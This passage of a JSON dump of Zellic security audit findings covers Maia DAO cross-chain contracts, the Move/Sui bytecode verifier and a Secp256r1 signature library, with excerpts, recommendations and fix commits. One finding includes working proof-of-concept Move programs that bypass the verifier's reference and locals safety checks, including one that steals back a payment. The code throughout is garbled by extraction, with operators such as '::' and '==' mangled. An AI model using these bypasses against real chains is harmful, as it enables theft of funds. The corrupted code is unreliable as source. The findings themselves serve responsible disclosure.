RootPort Category: Coding Mistakes Likelihood: Low Severity: High : Medium To distinguish between the various chains being used, each chain is assigned a unique identifier that determines where cross-chain calls will be executed. Throughout the code, the chain identifier is represented as both uint256 and uint24, which can create issues when data is packed and unpacked without an explicit cast. This occurs in several locations, as illustrated by the following examples: CoreBranchRouter CoreBranchRouter.sol -> addGlobalToken(...))) has _toChain represented as uint256. These parameters are then encoded with abi.encode and passed down to be called cross chain. function addGlobalToken( address _globalAddress, uint256 _toChain, uint128 _remoteExecutionGas, uint128 _rootExecutionGas ) external payable { /)Encode Call Data bytes memory data = abi.encode(address(this), _globalAddress, _toChain, _rootExecutionGas); ...)) } It ends up here, in CoreRootRouter->anyExecute, function anyExecute(bytes1 funcId, bytes calldata encodedData, uint24 fromChainId) external payable override requiresAgent Zellic Maia DAO returns (bool, bytes memory) { ///)) FUNC ID: 1 (_addGlobalToken) if (funcId =) 0x01) { (address branchRouter, address globalAddress, uint24 toChain, uint128 remoteExecutionGas) = abi.decode(encodedData, (address, address, uint24, uint128)); ...))} ...)) } where it is decoded with abi.decode as a uint24. Since the non-packed version of a bi.encode is used, this will work until _toChain some day is picked to be too large to represented as uint24, and then the anyExecute call will start to revert. RootBridgeAgent The function _payExecutionGas(...)), uint24 _fromChain, uint256 _toChain) uses both uint24 and uint256 to represent chains in the same function signature. However, other functions tend to use uint24 to represent it, including functions that do slicing of the input parameters by directly accessing the bytes. RootPort The internal function _getLocalToken looks up a local token address on a different chain, function _getLocalToken(address _localAddress, uint256 _fromChain, uint24 _toChain) internal view returns (address) address globalAddress = getGlobalAddressFromLocal[_fromChain][_localAddress]; return getLocalAddressFromGlobal[_toChain][globalAddress]; { } where _toChain is a uint24, but the mapping getLocalAddressFromGlobal is defined Zellic Maia DAO as mapping(uint256 => mapping(address => address)) public getLocalAddressFromG lobal. Compilers are not able to effectively reason about type safety across abi-encoding and -decoding. In situations where the data types are out of sync, and the target type cannot fit the input, the decoding call will revert. This will happen if, for example, upper bits of chainId are used to store data or the number of chains go beyond 2^24 (unlikely). Not settling on a single representation for the same thing can create confusion for fu- ture development. When doing cross-chain development, it is even more important to make sure everything is synchronized and well-understood across all the chains. Consider using a canonical representation for all logical measurements and identifiers in the codebase. This includes items such as chainId, fees, gas, and other similar val- ues. When using abi.encode, data is slotted into bytes32, which means that there is no advantage in using smaller data types unless they are packed. To ensure that cross- chain data encoding and decoding are working as expected, it is recommended to implement test cases specifically for this purpose. ChainId is now consistently uint24 except for the mappings in the root port. This is done generally to make cross-chain calls cheaper, except in the CoreRootRouter which uses abi.encode for simplicity. (All BridgeAgents use abi.encodePacked to decrease message size) This issue has been acknowledged by Maia DAO, and fixes were implemented in the following commits: 4a120be7 9330339a Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO Ulysses Protocol May 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.12 Incorrect accounting of total and strategies debt", + "labels": [ + "Zellic" + ], + "body": "Target: BranchPort Category: Coding Mistakes Likelihood: Medium Severity: Medium : Medium The approved strategy contract is authorized to borrow assets via the manage function and repay debt via the replenishReserves function, but only up to the amount of res ervesLacking. The _strategy address, which will return debt, amount of tokens, and _token address, is controlled by the caller of the replenishReserves function. The reservesLacking value shows the shortage of tokens needed to reach the mini- mum reserve amount. If reservesLacking is greater than the _amount value, then the _amount will be withdrawn; otherwise, the reservesLacking value will be withdrawn. Regardless of the withdrawal amount, both the getPortStrategyTokenDebt and getSt rategyTokenDebt will be reduced by the _amount value. Additionally, the value of the debt strategy will be reduced, not for the strategy that returned the funds but for the strategy that called the function. function replenishReserves(address _strategy, address _token, uint256 _amount) external { if (!isStrategyToken[_token]) revert UnrecognizedStrategyToken(); if (!isPortStrategy[_strategy][_token]) revert UnrecognizedPortStrategy(); uint256 reservesLacking = _reservesLacking(_token); IPortStrategy(_strategy).withdraw(address(this), _token, _amount < reservesLacking ? _amount : reservesLacking); getPortStrategyTokenDebt[msg.sender][_token] -= _amount; getStrategyTokenDebt[_token] -= _amount; emit DebtRepaid(_strategy, _token, _amount); } Zellic Maia DAO The approved strategies contract is able to reduce debt by using funds withdrawn from other strategies. Additionally, there is an issue where if the value of reservesLac king is less than the amount of funds that need to be withdrawn, the debt counters will be reduced inaccurately. This can result in an incorrect calculation of the minimum number of reserves. For example, 1. Current token balance is 100 tokens, the getMinimumTokenReserveRatio[_token] is 1000, the _minimumReserves is 10 tokens, and _excessReserves is 90 tokens. 2. The strategy is borrowed; all possible tokens amount 90 tokens. 3. The getStrategyTokenDebt[_token] = 90 tokens. 4. The currBalance is equal to 10 tokens and _minimumReserves is still 10 tokens. 5. The replenishReserves function is called with _amount = 10 tokens. 6. Because the _reservesLacking is 0, the strategy will withdraw nothing, but getS trategyTokenDebt[_token] will reduced by _amount. 7. After changing the getStrategyTokenDebt[_token] without changing the balance, the _minimumReserves became equal to 9 tokens, but the currBalance is still equal to 10 tokens. So the _excessReserves will return 1 token, and strategies will be able to borrow again. uint256 internal constant DIVISIONER = 1e4; function _excessReserves(address _token) internal view returns (uint256) { uint256 currBalance = ERC20(_token).balanceOf(address(this)); uint256 minReserves = _minimumReserves(currBalance, _token); return currBalance > minReserves ? currBalance - minReserves : 0; } function _reservesLacking(address _token) internal view returns (uint256) { uint256 currBalance = ERC20(_token).balanceOf(address(this)); uint256 minReserves = _minimumReserves(currBalance, _token); return currBalance < minReserves ? minReserves - currBalance : 0; } Zellic Maia DAO function _minimumReserves(uint256 _currBalance, address _token) internal view returns (uint256) { return ((_currBalance + getStrategyTokenDebt[_token]) * getMinimumTokenReserveRatio[_token]) / DIVISIONER; } We recommend implementing the function as shown below. Add a new amount vari- able equal to the actual number of withdrawn tokens and reduce getPortStrategyTo kenDebt and getStrategyTokenDebt values by amount: function replenishReserves(address _strategy, address _token, uint256 _amount) external { ...)) uint256 amount = _amount < reservesLacking ? _amount : reservesLacking; IPortStrategy(_strategy).withdraw(address(this), _token, _amount < reservesLacking ? _amount : reservesLacking); IPortStrategy(_strategy).withdraw(address(this), _token, amount); getPortStrategyTokenDebt[msg.sender][_token] -= _amount; getPortStrategyTokenDebt[_strategy][_token] -= amount; getStrategyTokenDebt[_token] -= _amount; getStrategyTokenDebt[_token] -= amount; emit DebtRepaid(_strategy, _token, _amount); emit DebtRepaid(_strategy, _token, amount); } This issue has been acknowledged by Maia DAO, and fixes were implemented in the following commits: c11c18a1 Zellic Maia DAO d04e441f Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO Ulysses Protocol May 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.13 Bridging assets erroneously mints new assets", + "labels": [ + "Zellic" + ], + "body": "Target: ArbitrumBranchPort Category: Coding Mistakes Likelihood: Medium Severity: Medium : Medium The functions bridgeIn and bridgeInMultiple are supposed to increase the local hTok en supply by bridging assets into the Arbitrum Branch. No assets are supposed to be minted here, only transferred from the RootPort. This can be done by calling RootPor t->bridgeToLocalBranch with a deposit equal to 0. Instead, these functions both call mintToLocalBranch, which bridges nothing and mints new hTokens every time. More tokens than expected will be minted, and the tokens will not leave the RootPort. This mistake can possibly be manually fixed by selectively burning. Depending on the exact use of the tokens, inflation of the number of tokens might be detrimental. Replace calls to mintToLocalBranch with bridgeToLocalBranch instead and set the cor- rect amount and deposits so that no new tokens are minted. This issue has been acknowledged by Maia DAO, and a fix was implemented in com- mit 0fecbc05. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO Ulysses Protocol May 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.14 Lack of input validation", + "labels": [ + "Zellic" + ], + "body": "Target: Multiple Contracts Category: Coding Mistakes Likelihood: Low The following functions lack input validation. Severity: Informational : Low 1. In the BranchBridgeAgent contract, The anyFallback function lacks a check that the getDeposit contains the _depositNonce. 2. In the UlyssesFactory contract, The createToken function lacks a check that the pools contains the input poolIds[i]. The createPools function lacks a check that assets contains zero addresses. 3. In the UlyssesPool contract, The swapIn and swapFromPool functions lack a check that the assets is not zero. 4. In the UlyssesToken contract, The addAsset function lacks a check that the _weight is not zero. The setWeights function lacks a check that the _weights contains zero amounts. 5. In the ERC4626MultiToken contract, The constructor lacks a check that the _weights contains zero amounts. 6. In the ERC20hTokenBranchFactory contract, The initialize lacks a check that the _coreRouter is not zero address. 7. In the ERC20hTokenRootFactory contract, The constructor lacks a check that the rootPortAddress is not zero address. The initialize lacks a check that the _coreRouter is not zero address. 8. In the RootBridgeAgentFactory contract, The constructor lacks a check that the wrappedNativeToken, rootPortAddre ss, and daoAddress are not zero addresses. Zellic Maia DAO 9. In the BranchBridgeAgentFactory contract, The createBridgeAgent lacks a validation of _rootBridgeAgentAddress. 10. In the ERC20hTokenRoot contract, The constructor lacks a check that the factoryAddress and rootPortAddre ss is not zero address. 11. In the BranchBridgeAgent contract, The constructor lacks a check that the all passed addresses is not zero. The _clearDeposit lacks a check that the getDeposit[_depositNonce] ex- ists. 12. In the ArbitrumBranchPort contract, The constructor lacks a check that the rootPortAddress address is not zero. 13. In the BranchPort contract, The initialize lacks a check that the coreBranchRouterAddress and _brid geAgentFactory addresses are not zero. The setCoreRouter lacks a check that the _newCoreRouter address is not zero. 14. In the BaseBranchRouter contract, The initialize lacks a check that the localBridgeAgentAddress address is not zero. 15. In the CoreBranchRouter contract, The constructor lacks a check that the localPortAddress and hTokenFacto ryAddress addresses are not zero. 16. In the BasePortGauge contract, The constructor lacks a check that the _bRouter address is not zero. 17. In the CoreRootRouter contract, The constructor lacks a check that the _wrappedNativeToken and _rootPor tAddress addresses are not zero. The initialize lacks a check that the _bridgeAgentAddress and _hTokenFa ctory addresses are not zero. 18. In the MulticallRootRouter contract, The constructor lacks a check that the _localPortAddress and _multicall Address addresses are not zero. Zellic Maia DAO The initialize lacks a check that the _bridgeAgentAddress address is not zero. 19. In the RootBridgeAgent contract, The constructor lacks a check that all passed addresses are not zero. The _reopenSettlement lacks a check that the getSettlement[_settlementN once] exists. The callOutAndBridge lacks a check that the IPort(localPortAddress).get LocalTokenFromGlobal() and the IPort(localPortAddress).getUnderlying TokenFromLocal return nonzero addresses The callOutAndBridgeMultiple lacks a check that the IPort(localPortAddr ess).getLocalTokenFromGlobal() and the IPort(localPortAddress).getUn derlyingTokenFromLocal return nonzero addresses. The _bridgeIn lacks a check that the IPort(localPortAddress).getGlobalT okenFromLocal() returns nonzero addresses. The _gasSwapIn and _gasSwapOut lack a check that the IPort(localPortAdd ress).getGasPoolInfo returns nonzero addresses. 20. In the RootPort contract, The constructor lacks a check that the _wrappedNativeToken address is not zero. The initialize lacks a check that the _bridgeAgentFactory and _coreRoot Router addresses are not zero. The initializeCore lacks a check that the _coreLocalBranchBridgeAgent and _localBranchPortAddress addresses are not zero. The forefeitOwnership lacks a check that the _owner address is not zero. The setLocalBranchPort lacks a check that the _branchPort address is not zero. The setUnderlyingAddress, setAddresses, setLocalAddress, addNewChain, in itializeEcosystemTokenAddresses, and addEcosystemTokenToChain lack ver- ification that adding token addresses does not lead to overwriting previ- ously added ones. The mint, burn, bridgeToRoot, bridgeToRootFromLocalBranch, bridgeToLoca lBranch,and burnFromLocalBranch lack a check that the hToken address is actually created over ERC20hTokenRootFactory. If important input parameters are not checked, especially in functions that are avail- able for any user to call, it can result in functionality issues and unnecessary gas usage and can even be the root cause of critical problems. It is crucial to properly validate Zellic Maia DAO input parameters to ensure the correct execution of a function and prevent any unin- tended consequences. Consider adding require statements and necessary checks to the above functions. This issue has been acknowledged by Maia DAO, and a fix was implemented in com- mit 6ba3df02. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO Ulysses Protocol May 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.15 Lack of new owner address check", + "labels": [ + "Zellic" + ], + "body": "Target: Multiple Category: Coding Mistakes Likelihood: Low Severity: Low : Informational The smart contracts UlyssesPool, UlyssesToken, BranchPort, BranchBridgeAgentFac- tory, and ERC20hTokenBranch inherit from the solady/auth/Ownable.sol contract and use the _initializeOwner function to assign an owner to the contract. The owner\u2019s ad- dress is provided by the caller within the constructor. However, there are no checks in place to ensure that the address of the new owner is not a zero address. Further- more, the _initializeOwner function does not validate this either. If a zero address is set as the owner during contract deployment, the contract will deploy successfully but the contract owner will not be set. This can potentially lead to an inability to perform certain functions, such as modifying the contract state. We recommend implementing proper validation checks inside the constructor func- tion before the _initializeOwner function execution in the UlyssesPool, UlyssesToken, BranchPort, BranchBridgeAgentFactory, and ERC20hTokenBranch contracts. This issue has been acknowledged by Maia DAO, and a fix was implemented in com- mit da4751e6. Not fixed for the UlyssesToken contract. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO Ulysses Protocol May 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.16 Addresses may accidentally be overwritten", + "labels": [ + "Zellic" + ], + "body": "Target: RootPort Category: Coding Mistakes Likelihood: Low Severity: Low : Informational The addEcosystemTokenToChain function may only be called by the contract owner. It adds entries to the double mappings getGlobalAddressFromLocal and getLocalAd dressFromGlobal, which map between local and global address on a specific chain. However, there are no checks done to ensure that the mapping is not already set. function addEcosystemTokenToChain(address ecoTokenGlobalAddress, address ecoTokenLocalAddress, uint256 toChainId) external onlyOwner { } getGlobalAddressFromLocal[toChainId][ecoTokenLocalAddress] = ecoTokenGlobalAddress; getLocalAddressFromGlobal[toChainId][ecoTokenGlobalAddress] = ecoTokenLocalAddress; This can modify the addresses set by setAddresses, which is a function that can only It also ends up replicating the behavior in a be called by a coreRootRouterAddress. different function with a different modifier: function setLocalAddress(address _globalAddress, address _localAddress, uint24 _fromChain) external requiresCoreBridgeAgent { } getGlobalAddressFromLocal[_fromChain][_localAddress] = _globalAddress; getLocalAddressFromGlobal[_fromChain][_globalAddress] = _localAddress; Zellic Maia DAO The addEcosystemTokenToChain function can change addresses set by the core root router and vice versa. It is likely unintended that the owner can accidentally overwrite addresses that result from cross-chain communication. If it is intentional that the owner should be able to override addresses set by the router, then consider renaming the add function to set. Otherwise, introduce a requirement that the address is not already set, possibly with a parameter that can override the behavior. This issue has been acknowledged by Maia DAO, and fixes were implemented in the following commits: 728ee138 8b17cb59 Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO Ulysses Protocol May 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.17 Ownable contracts allow renouncing", + "labels": [ + "Zellic" + ], + "body": "Target: Multiple Contracts; e.g., BranchBridgeAgentFactory, RootPort, Branch- Port, UlyssesToken, UlyssesPool Category: Coding Mistakes Likelihood: Low Severity: Low : Informational The renounceOwnership() function is included by default in contracts that inherit the Ownable contract. In some cases, this functionality is used intentionally, such as to initialize a contract and then permanently disable the possibility of initializing it again by renouncing ownership. However, in other contracts, the owner functionality is used throughout the contract for important functionality. If an owner accidentally re- nounces ownership, this permanently stops anyone from calling these critical func- tions. Therefore, it is important to use caution when using renounceOwnership() and to ensure that it is used only when necessary and intentional. Depending on which contract becomes unusable, the impact could vary. It could result in the loss of funds or the loss of configurability of contracts, potentially requiring redeployment. In contracts that require an active owner, override renounceOwnership() with a func- tion that reverts. The Ownable contract contains a two-step ownership transfer pro- cedure that can be used to change ownership in a secure way. This issue has been acknowledged by Maia DAO, and a fix was implemented in com- mit ce37be6d. Note that UlyssesPool and UlyssesToken were not added because users or proto- cols may want to make the Pool or Token completely decentralized by \u201cfreezing\u201d contract parameters. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO Ulysses Protocol May 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Command results without the drop ability could be dropped", + "labels": [ + "Zellic" + ], + "body": "Target: Programmable Transactions Category: Coding Mistakes Likelihood: High Severity: Critical : Critical Programmable transaction commands can return a result containing one or more ob- jects. Those objects can be used as inputs to subsequent commands, for example as inputs to a Move call or transferred to an address. All objects without the drop ability must be used before the transaction ends. This is enforced by the ExecutionContext:)finish function, which checks the type and abil- ities for each result from the commands executed. However, the implementation of the function for values of type Some(Value:)Raw(RawValueType:)Loaded)) is currently incomplete. Some(Value:)Raw(RawValueType:)Loaded { abilities, .) }, _)) => { /) - nothing to check for drop /) - if it does not have drop, but has copy, /) the last usage must be by value in order to \u201dlie\u201d and say that the /) last usage is actually a take instead of a clone /) - Otherwise, an error if abilities.has_drop() { } else if abilities.has_copy() &) !matches!(last_usage_kind, Some(UsageKind:)ByValue)) { let msg = \u201dThe value has copy, but not drop. Its last usage must be by-value so it can be taken.\u201d; return Err(ExecutionError:)new_with_source( ExecutionErrorKind:)UnusedValueWithoutDrop { result_idx: i as u16, secondary_idx: j as u16, }, msg, )); } Zellic Mysten Labs The logic for handling results that have drop or copy is implemented, but values that have neither ability are passed through, instead of causing an error as per the speci- fication. This violates the specified property of programmable transactions and could allow results without both drop and copy to be dropped. Notably, data types that represent coins and capabilities typically do not have those abilities, including the standard Sui framework data type for representing coins. Additionally, a common implementation of flash loans gives the borrower an object representing the loan position that does not have the drop ability. In order to correctly finish the transaction, this object must be destroyed by giving it back to the lender contract together with the lent funds and interests. This vulnerability would allow to break the security of such a system by dropping the object regardless of its declared abilities. Implement a third condition in the if/else block shown above that would return an E xecutionErrorKind:)UnusedValueWithoutDrop for types where !abilities.has_copy() is true. This issue has been acknowledged by Mysten Labs, and a fix was implemented in commit 8109e2e4. Zellic Mysten Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Move and Sui Security Assessment - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Incorrect control flow graph construction", + "labels": [ + "Zellic" + ], + "body": "Target: Core Move Verifier Category: Coding Mistakes Likelihood: High Severity: Critical : Critical Some verifiers make use of a program analysis technique called abstract interpreta- tion. This technique analyzes the code of the program being verified by following its control flow graph (CFG). The CFG of a function is a directed graph that represents all the possible execution paths of a program. Nodes of the graph represent a basic block, which is a sequence of instructions in which only the last one is a branch, re- turn, or abort. Edges between two nodes mean that there is a possible execution path between the source and the destination node. For efficiency reasons, the successors list of every basic block is precomputed when the CFG is created. The successors list of a basic block is the set of basic blocks that can be directly reached from it. The function that computes the successors of an instruction, file_format.rs:)get_s uccessors, contains an edge case that causes it to incorrectly return an empty list of successors: pub fn get_successors(pc: CodeOffset, code: &[Bytecode]) -> Vec { assert!( /) The program counter must remain within the bounds of the code pc < u16:)MAX &) (pc as usize) < code.len(), \u201dProgram counter out of bounds\u201d ); /) Return early to prevent overflow if pc is hitting the end of max number of instructions allowed (u16:)MAX). if pc > u16:)max_value() - 2 { return vec![]; } /) [function continues...))] If the pc of the instruction is u16:)MAX - 1, the list of successors is empty. Zellic Mysten Labs The incorrect construction of the CFG can lead to a bypass of any verifier that uses the CFG successor list. These currently include the core Move reference safety and locals safety verifiers, as well as the Sui-specific ID leak verifier. Multiple avenues of attack are possible because of this security issue. We constructed proof of concepts that bypass both core verifiers. This vulnerability could likely be exploited to cause extremely significant financial damage. For instance, a common implementation of flash loans gives the borrower an object that does not have the drop ability, which must be given back to the lender contract together with the lent funds and interests in order to correctly finish the trans- action. As shown in the below proof of concepts, the security of the system can be broken by bypassing the locals safety verifier. We note that the Move VM has additional optional security checks (paranoid_type_c hecks) that prevent most exploits. These checks result in a runtime VM error and are not part of the verifier. They seem to be effective at preventing an object without the drop ability from being dropped, but they are insufficient to guard against all possible exploits, as demonstrated in the third proof of concept. Reference safety verifier bypass This proof of concept demonstrates the ability to bypass the reference safety verifier by invoking a hypothetical squash function that takes two mutable Coin references and moves the value of the second coin into the first. The function is instead invoked with two mutable references to the same coin: /)# publish -)syntax=move module 0x1:)balance { struct Balance has drop { value: u64 } public fun create_balance(value: u64): Balance { Balance { value } } public fun squash(balance_1: &mut Balance, balance_2: &mut Balance) { let balance_2_value = balance_2.value; balance_2.value = 0; balance_1.value = balance_1.value + balance_2_value; } Zellic Mysten Labs } /)# run import 0x1.balance; main() { let balance_a: balance.Balance; label padding: jump end; return; /) [PADDING RETURN STATEMENTS] return; label start: balance_a = balance.create_balance(100); balance.squash(&mut balance_a, &mut balance_a); return; label end: jump start; } Locals safety verifier This second proof of concept demonstrates the ability to bypass the locals safety ver- ifier by dropping a value that does not have the drop ability. Two instances of an object are obtained and stored in a local variable. The first instance is overwritten with the second (which would normally not be possible), and the second instance is then de- stroyed using an intended function. We note that dropping an object of which only one instance exists should also be possible in a similar fashion, for example by wrap- ping it into a vector and overwriting it with an empty vector of the same type. /)# publish -)syntax=move module 0x1:)test { struct HotPotato { value: u32 } public fun get_hot_potato(): HotPotato { HotPotato { value: 42 } } Zellic Mysten Labs public fun destroy_hot_potato(potato: HotPotato) { HotPotato { value: _ } = potato; } } /)# run import 0x1.test; main() { let hot_potato_1: test.HotPotato; let hot_potato_2: test.HotPotato; label padding: jump end; return; /) [LOTS OF RETURNS] return; label start: hot_potato_1 = test.get_hot_potato(); hot_potato_2 = test.get_hot_potato(); hot_potato_1 = move(hot_potato_2); test.destroy_hot_potato(move(hot_potato_1)); return; label end: jump start; } Paranoid type checks bypass This following proof of concept demonstrates how it is possible to push a mutable reference to an object and the object itself to the virtual machine stack. This allows to pass the object to some other function while retaining a mutable reference to it. This proof of concept simulates a payment by invoking a function that takes a Balance object and then steals back the transferred value by using the mutable reference. The most straightforward way to obtain a reference in Move would be to store the object in a local variable and then to take a reference to it. Using this method to push both a mutable reference and the instance of the target object on the stack is not feasible due to runtime checks independent from the verifier and from the separate paranoid_type_checks. Execution of the MoveLoc instruction to move the local variable Zellic Mysten Labs to the stack will cause an error in values_impl.rs:)swap_loc; the function checks that the reference count of the object being moved is at most one. Since taking a mutable reference increases the reference count, it not possible to move a local variable for which a reference exists. This proof of concept shows one of the possible bypasses to this limitation. The bro- ken state is achieved by packing the victim object in a vector, taking a reference to the object, and then pushing the object to the stack by unpacking the vector. This strat- egy allows to get a mutable reference to the object without it being stored directly in a local variable, bypassing the check. /)# publish -)syntax=move module 0x1:)test { struct Balance has drop { value: u64 } public fun balance_create(value: u64): Balance { Balance { value } } public fun balance_value(balance: &Balance): u64 { balance.value } public fun pay_debt(balance: Balance) { assert!(balance.value >) 100, 234); /) Here we are dropping the balance /) In reality it would be transferred, the payment marked as done, etc } public fun balance_split(self: &mut Balance, value: u64): Balance { assert!(self.value >) value, 123); self.value = self.value - value; Balance { value } } } /)# run import 0x1.test; Zellic Mysten Labs main() { let v: vector; let bal: test.Balance; label padding: jump end; return; /) [padding returns] return; label start: bal = test.balance_create(100); v = vec_pack_1(move(bal)); /) Stack at this point: /) Pushes a mutable reference to the balance on the stack vec_mut_borrow(&mut v, 0); /) Stack at this point: &mut balance /) Pushes the balance instance by unpacking the vector vec_unpack_1(move(v)); /) Stack at this point: &mut balance, balance /) Pay something (implicitly using the balance on top of the stack as argument) test.pay_debt(); /) Stack at this point: &mut balance /) We still have the mutable reference to the balance, let's steal from it (100); bal = test.balance_split(); /) Stack at this point: /) Push 100 on the stack assert(test.balance_value(&bal) =) 100, 567); return; label end: Zellic Mysten Labs jump start; } Remove the edge case from the function, turning it into an assertion as a hardening measure. Additionally, we suggest to use checked math operations as an additional safety precaution. This edge case was likely implemented to make sure that regular instructions and con- ditional branches (which can fall through to the next offset) do not cause an overflow in the program counter. However, by the point the CFG is computed in the verifier, the control flow verifier has already established that the last instruction in a function is an unconditional branch. Since functions can have at most 65,536 instructions, this means that the instruction at offset u16:)MAX must be an unconditional branch. There- fore its pc+1 (which would overflow) will never be a successor. This issue has been acknowledged by Mysten Labs, and a fix was implemented in commit d2bf6a3c. The issue affected multiple third party users of the Move codebase; therefore, d2b f6a3c fixes the issue covertly and was released as part of a coordinated disclosure effort. Zellic Mysten Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Move and Sui Security Assessment - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Inefficient handling of VecPack and VecUnpack instructions", + "labels": [ + "Zellic" + ], + "body": "Target: Type Safety and Reference Safety Verifiers Category: Coding Mistakes Likelihood: Medium Severity: Medium : Informational The type safety and reference safety verifiers maintain a stack that is used to model the effects the code being verified would have on the real Move VM stack. We observed a potentially exploitable inefficiency in the code that processes VecPack and VecUnpack. These instructions allow to pack and unpack a fixed number of ele- ments from a vector. The VecPack removes the specified number of elements from the operand stack and inserts them in a new vector, while VecUnpack does the opposite. The two verifiers execute a number of operations that equals the number of elements that would be packed or unpacked by these instructions. This can be seen in this excerpt of code from type_safety.rs:)verify_instr Bytecode:)VecPack(idx, num) => { let element_type = &verifier.resolver.signature_at(*idx).0[0]; for _ in 0.)*num { let operand_type = safe_unwrap!(verifier.stack.pop()); if element_type !) &operand_type { return Err(verifier.error(StatusCode:)TYPE_MISMATCH, offset)); } } verifier .stack .push(ST:)Vector(Box:)new(element_type.clone()))); } /) ...)) Bytecode:)VecUnpack(idx, num) => { let operand_vec = safe_unwrap!(verifier.stack.pop()); let declared_element_type = &verifier.resolver.signature_at(*idx).0[0]; if operand_vec !) ST:)Vector(Box:)new(declared_element_type.clone())) { } return Err(verifier.error(StatusCode:)TYPE_MISMATCH, offset)); Zellic Mysten Labs for _ in 0.)*num { verifier.stack.push(declared_element_type.clone()); } } as well as this excerpt from reference_safety/mod.rs:)execute_inner: Bytecode:)VecUnpack(idx, num) => { safe_assert!(safe_unwrap!(verifier.stack.pop()).is_value()); let element_type = vec_element_type(verifier, *idx)?; for _ in 0.)*num { verifier.stack.push(state.value_for(&element_type)); } } /) ...)) Bytecode:)VecUnpack(idx, num) => { safe_assert!(safe_unwrap!(verifier.stack.pop()).is_value()); let element_type = vec_element_type(verifier, *idx)?; for _ in 0.)*num { verifier.stack.push(state.value_for(&element_type)); } } This inefficient implementation could allow to perform a DOS attack on the verifier by submitting a program with an instruction that performs a VecPack or VecUnpack instruction on a very large number of elements. The attack is made harder in practice by constraints imposed by previous verifiers that limit the number of elements that can effectively be used in these instructions. First, the maximum number of elements is limited to 2^16 by the instruction consis- tency verifier. Second, the stack usage verifier enforces a configurable limit on the maximum stack height increase in a single basic block, which is currently set to 1,024. This directly implies that a single VecUnpack instruction cannot operate on more than 1,024 elements. Due to the requirement that the stack height is balanced between a basic block entry and exit, it indirectly implies that VecPack also cannot operate on more than 1,024 elements, since the elements would have to be pushed on the stack by other operations that are also subject to the same limitation. Additionally, the de- Zellic Mysten Labs fault configuration for the Sui protocol limits a module to have a maximum of 1,000 function definitions, and each function to have at most 1,024 basic blocks. Despite these constraints, we do believe a slightly more sophisticated attack could be possible. It is possible to create a module with a large number of functions each containing numerous basic blocks that exploit this inefficiency to the maximum ex- tent. The module could also declare other similar malicious modules as dependencies, which would stress the verifier further, since dependencies are also verified when they are loaded. A stopgap remediation, also suggested by Mysten Labs engineers, would be to further limit the number of elements allowed in VecPack/VecUnpack instructions. However, determining if a maximum safe number exists and quantifying it is not trivial. Implementing a more efficient method for maintaining the verifier stack seems to be Instead of storing only a single type per element, the verifier stack could possible. store a tuple consisting of (type, num_elements) that could more efficiently represent repeated elements of the same type, both in terms of space and time. This issue has been acknowledged by Mysten Labs, and a fix was implemented in commit 19ba60e7. Zellic Mysten Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Move and Sui Security Assessment - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Valid signatures with large value for r are rejected", + "labels": [ + "Zellic" + ], + "body": "Target: Secp256r1 Category: Coding Mistakes Likelihood: Low Severity: High : Medium The VerifyWithPrecompute function handles verification of ECDSA signatures. Signa- tures consist of a pair (r, s) of integers 0 < r, s < n, where n is the order of the elliptic curve secp256r1. The signature is ultimately accepted if and only if the x-coordinate x of a computed point on the elliptic curve satisfies x =) r, as can be seen in the code snippet below. (x, y) = ShamirMultJacobian(points, u1, u2); return (x =) r); However, the elliptic curve secp256r1 is defined over the finite field Fp, so the x- coordinate x will be an element of Fp and be represented by an integer satisfying 0 \u2264 x < p. Specifications[2] state that a signature should be accepted if x % n =) r. As n < p, it can happen that x % n =) r but x !) r, so some signatures that should be accepted are not. That a properly generated valid signature will hit this bug by accident is extremly un- likely (it will happen roughly once every 10^39 signatures). The Project Wycheproof test vector shows, however, that it is possible to generate such signatures on pur- pose. The impact on the security of projects making use of the Secp256r1 library for signature verification is highly dependent on how signatures are otherwise used. See section 4.1 for a discussion of this as well as the reason for our severity rating. This bug is the root cause of the failure of test case ID 285: k*G has a large x-coo rdinate from Project Wycheproof. Replace return (x =) r); by return ((x % nn) =) r);. 2 See, for example, section 6.4.2 of https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf. Zellic Biconomy Labs This issue has been acknowledged by Biconomy Labs, and a fix was implemented in commit 983b699d. Zellic Biconomy Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy Secp256r1 - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Validity of public keys is not checked", + "labels": [ + "Zellic" + ], + "body": "Target: Secp256r1 Category: Coding Mistakes Likelihood: Low Severity: High : Medium The Verify function does not check the validity of the public key passKey. To be valid, a public key needs to [3] 1. not be the point at infinity, 2. have coordinates (x, y) satisfying 0 \u2264 x, y < p, and 3. satisfy the equation y2 = x3 + ax + b modulo p. The public key is only used after conversion to Jacobian coordinates in _preComputeJa cobianPoints with JPoint(passKey.pubKeyX, passKey.pubKeyY, 1), which is never the point at infinity. The _affineFromJacobian function uses the convention that (0,0) in affine coordinates represents the point at infinity. So for this special case, conversion as JPoint(passKey.pubKeyX, passKey.pubKeyY, 1) would be incorrect. But given that the point at infinity is not a valid public key anyway, this is not an issue if instead the public key (0,0) is rejected by recognizing that (0,0) does not lie on the curve. As x and y coordinates of passKey always get reduced modulo p in calculations, the missing check for property 2 means that Verify will in effect check the signature for the public key with coordinates (x % p, y % p). This means that for some public keys (x,y), where x < 2256 \u2212 p or y < 2256 \u2212 p, there exists another pair (x', y') \u2014 for example, 